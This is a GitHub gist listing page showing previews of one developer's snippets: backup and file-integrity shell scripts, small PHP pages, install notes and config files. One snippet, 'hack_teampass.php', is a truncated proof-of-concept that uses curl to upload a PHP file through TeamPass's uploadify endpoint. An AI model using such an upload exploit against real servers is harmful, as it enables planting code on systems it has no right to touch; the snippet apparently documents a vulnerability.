Skip to content

Instantly share code, notes, and snippets.

@leblanc-simon
leblanc-simon / backup_manthly.sh
Created February 6, 2014 00:49
Backup monthly the last BackupPC dump
#!/bin/bash
hosts="host1 host2 host3"
shares="home etc root"
base_path="/home/backup/"
month=`date +%m`
command_tar='sudo -u backuppc /usr/share/backuppc/bin/BackupPC_tarCreate -h %host% -n -1 -s /%share% . > '
for host in ${hosts}; do
#!/bin/bash
directory="/var/www/"
result="${directory}website-integrity/`date '+%Y-%m-%d'`.md5sum"
old_result="${directory}website-integrity/`date '+%Y-%m-%d' --date '1 days ago'`.md5sum"
website_directory="${directory}httpdocs/"
find ${website_directory} -type f -exec md5sum {} \; > ${result}
today=`md5sum ${result} | awk '{print $1}'`
@leblanc-simon
leblanc-simon / ip.php
Last active August 29, 2015 13:56
Simple IP visualisation
<?php
header("Cache-Control: no-cache, must-revalidate");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
/**
* @see https://gist.github.com/cballou/2201933
*/
function getIp()
{
$ip_keys = array('HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR');
@leblanc-simon
leblanc-simon / date.php
Created April 23, 2014 22:55
Simple date visualisation
<?php
$now = time();
setlocale(LC_TIME, 'fr_FR.utf8','fra');
$french_date = strftime('%A %d %B %Y %T', $now);
?><!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="utf-8"/>
<title>What time is it ?</title>
@leblanc-simon
leblanc-simon / documentation-gesdon.md
Created March 15, 2015 22:01
documentation Gesdon

Installation de Gesdon

$ cd web
$ git clone https://github.com/leblanc-simon/Gesdon.git
$ cd Gesdon
$ composer install
$ cd config
$ cp config.example.php config.php
@leblanc-simon
leblanc-simon / index.html
Created May 1, 2015 12:54
Open Password Generator
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="utf-8" />
<title>OPG : Open Password Generator</title>
<style>
html, body {
margin: 0;
padding: 0;
width: 100%;
@leblanc-simon
leblanc-simon / composer.json
Last active August 29, 2015 14:20
URL expand
{
"require": {
"predis/predis": "~1"
}
}

Keybase proof

I hereby claim:

  • I am leblanc-simon on github.
  • I am leblancsimon (https://keybase.io/leblancsimon) on keybase.
  • I have a public key whose fingerprint is 181A E85C 78A3 4464 896C 8CBB 3825 AC59 FCD3 3571

To claim this, I am signing this object:

@leblanc-simon
leblanc-simon / build.properties
Created November 9, 2011 22:20
propel example bug with query_cache
# Project name
propel.project = OpenSondage
# Database driver
propel.database = mysql
propel.mysql.tableType = MyISAM
propel.mysql.tableEngineKeyword = ENGINE
propel.tablePrefix =
#################################################
@leblanc-simon
leblanc-simon / hack_teampass.php
Created March 17, 2012 16:06
Hack teampass via curl
<?php
$url = 'http://localhost/nilsteampassnet-TeamPass-65f3167/';
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url.'includes/libraries/uploadify/uploadify.php');
curl_setopt($curl, CURLOPT_POST, true);
$post = array(
'Filedata' => '@info.php',
'type_upload' => 'import_items_from_csv',
'folder' => '/nilsteampassnet-TeamPass-65f3167/files',